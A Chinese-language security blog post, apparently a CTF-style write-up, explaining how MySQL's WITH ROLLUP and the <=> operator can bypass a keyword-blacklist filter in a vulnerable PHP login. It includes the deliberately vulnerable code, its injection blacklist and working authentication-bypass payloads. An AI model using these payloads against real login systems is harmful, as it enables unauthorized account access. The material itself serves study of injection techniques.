<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MySQL偏門注入

    VSole2021-10-13 05:57:16

    說明

    工作之后,目前工作內容就是寫代碼和研究Linux內核相關的知識,已經很少研究有關SQL注入等相關知識了。這篇文章是最近在整理自己電腦文件時發現的。與其藏在角落里,還不如和大家一起分享下。由于時間過于久遠,也無法確認是不是已經有人已經分享過了。

    rollup

    簡介

    mysql中的group by后面可以接with rollup修飾語,使用with rollup修飾語可以在group by結果后面增加一行(該行內容中的group by的列返回NULL,其他列返回相應的內容)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    # 沒有rollup
    mysql> select Host,User from user  group  by host;
    +-----------+------------+
    | Host      | User       |
    +-----------+------------+
    | %         | wackopicko |
    | 127.0.0.1 | root       |
    | ::1       | root       |
    | localhost | root       |
    +-----------+------------+
    4 rows in set (0.00 sec)
    
    # 有rollup
    mysql> select Host,User from user  group  by host with rollup ;
    +-----------+------------+
    | Host      | User       |
    +-----------+------------+
    | %         | wackopicko |
    | 127.0.0.1 | root       |
    | ::1       | root       |
    | localhost | root       |
    | NULL      | root       |
    +-----------+------------+
    5 rows in set (0.00 sec)
    

    可以看到使用with rollup之后,返回結果中會多一行,且Host字段為NULL。

    以一個稍微復雜一點的例子來說明with rollup的用法。

    創建數據庫

    1
    2
    3
    4
    5
    CREATE TABLE `t` (
    `id` int(11) DEFAULT NULL,
    `id2` int(11) DEFAULT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
    insert into t value(11,11),(12,12),(13,13);
    

    使用rollup查詢

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
    +------+----------+----------+
    | id   | sum(id2) | avg(id2) |
    +------+----------+----------+
    |   11 |       11 |  11.0000 |
    |   12 |       12 |  12.0000 |
    |   13 |       13 |  13.0000 |
    | NULL |       36 |  12.0000 |
    +------+----------+----------+
    4 rows in set (0.00 sec)
    

    可以發現對于group by的列(在本例中為id),返回為NULL,對于其他列則是進行正常的操作(在本例中為sum和avg操作)。

    rollup繞過檢測

    存在users表,其中僅僅只存在一條記錄。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    -- auto-generated definition
    CREATE TABLE users
    (
      id       INT AUTO_INCREMENT PRIMARY KEY,
      username VARCHAR(255) NULL,
      password VARCHAR(255) NULL,
      CONSTRAINT users_id_uindex
      UNIQUE (id)
    );
    

    需要繞過的代碼如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    function AttackFilter($StrKey,$StrValue,$arrReq) {
        if(is_array($StrValue)) {
            $StrValue = implode($StrValue);
        }
        if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
            print "the attack is detected";
            exit();
        }
    }
    
    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";
    
    foreach ($_POST as $key=>$value) {
        AttackFilter($key,$value,$filter);
    }
    
    
    $username = @$_POST['username'];
    $password = @$_POST['password'];
    $query = "select * from users WHERE username='{$username}'";
    $query = mysqli_query($conn,$query);
    
    if(mysqli_num_rows($query) == 1) {
        $result = mysqli_fetch_array($query);
        if($result['password'] == $password) {
            die('right');
        }
    }
    

    這道題目與常規的md5的登錄注入類似,但是無法使用union子句,此時就可以使用rollup子句。

    1
    select * from users where username=''or 1 group by username with rollup
    

    會產生一條password為NULL的記錄,使用limit取出這條語句,然后傳入空的password,最后就會NULL==NULL而繞過驗證。

    如果不知道用戶名,可以使用username=' or 1=1。但是在本例中過濾了or,那么可以使用username='=0(利用’’=0的特性)。

    POC為:

    1
    POST:username='=0 group by password with rollup limit 1 offset 1#&password=
    

    <=>

    同樣是上面的那道題目,在POC中使用了limit。如果limit無法使用也被過濾了,則該如何繞過呢?

    那么需要看一下SELECT的語法了。`

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    SELECT
        [ALL | DISTINCT | DISTINCTROW ]
          [HIGH_PRIORITY]
          [STRAIGHT_JOIN]
          [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
          [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
        select_expr [, select_expr ...]
        [FROM table_references
          [PARTITION partition_list]
        [WHERE where_condition]
        [GROUP BY {col_name | expr | position}
          [ASC | DESC], ... [WITH ROLLUP]]
        [HAVING where_condition]
        [ORDER BY {col_name | expr | position}
          [ASC | DESC], ...]
        [LIMIT {[offset,] row_count | row_count OFFSET offset}]
        [PROCEDURE procedure_name(argument_list)]
        [INTO OUTFILE 'file_name'
            [CHARACTER SET charset_name]
            export_options
          | INTO DUMPFILE 'file_name'
          | INTO var_name [, var_name]]
        [FOR UPDATE | LOCK IN SHARE MODE]]
    

    GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,則需要后面的where_condition為True。如果直接使用HAVING password=null的話不會生效因為mysql中 null = null 會返回 null。當 null <=> null 的時候會返回1。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    mysql> select null=null;
    +-----------+
    | null=null |
    +-----------+
    |      NULL |
    +-----------+
    1 row in set (0.00 sec)
    
    mysql> select null<=>null;
    +-------------+
    | null<=>null |
    +-------------+
    |           1 |
    +-------------+
    1 row in set (0.00 sec)
    

    所以最終的POC為:

    1
    username='=0 group by password with rollup having password <=>null %23&password=
    

    參考

    MySQL group by with rollup

    MySQL注入的一些偏門技巧

    selectmysql update語句
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    LIMIT 語句分頁查詢是最常用的場景之一,但也通常也是最容易出問題的地方。比如對于下面簡單的語句,一般 DBA 想到的辦法是在 type, name, create_time 字段上加組合索引。這樣條件排序都能有效的利用到索引,性能迅速提升。好吧,可能90%以上的 DBA 解決該問題就到此為止。出現這種性能問題,多數情形下是程序員偷懶了。在新設計下查詢時間基本固定,不會隨著數據量的增長而發生變化。
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    SQLite 是一個被大家低估的數據庫,但有些人認為它是一個不適合生產環境使用的玩具數據庫。事實上,SQLite 是一個非常可靠的數據庫,它可以處理 TB 級的數據,但它沒有網絡層。接下來,本文將與大家共同探討 SQLite 在過去一年中最新的 SQL 功能。
    前言本次審計的話是Seay+昆侖鏡進行漏洞掃描Seay的話它可以很方便的查看各個文件,而昆侖鏡可以很快且掃出更多的漏洞點,將這兩者進行結合起來,就可以發揮更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';驗證碼的校驗代碼if ($_SESSION['verifycode'] !該文件的含義是用0-9中的任意四個數字作為驗證碼,也就是說js引用該文件來產生驗證碼。wap/seacher.php昆侖鏡掃描利用seay查看源碼//這只是一部分,具體的師傅們可自行查看此文件
    在日常滲透過程中我們經常會和數據庫打交道,其中很多時候都與Mysql數據庫有關,Mysql的提權,寫入webshell、數據庫用戶權限提升等
    在開始介紹如何優化sql前,先附上mysql內部邏輯圖讓大家有所了解連接器:?優先在緩存中進行查詢,如果查到了則直接返回,如果緩存中查詢不到,在去數據庫中查詢。
    Lodash 是一個 JavaScript 庫,包含簡化字符串、數字、數組、函數和對象編程的工具,可以幫助程序員更有效地編寫和維護 JavaScript 代碼。并且是一個流行的 npm 庫,僅在GitHub 上就有超過 400 萬個項目使用,Lodash的普及率非常高,每月的下載量超過 8000 萬次。但是這個庫中有幾個嚴重的原型污染漏洞。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类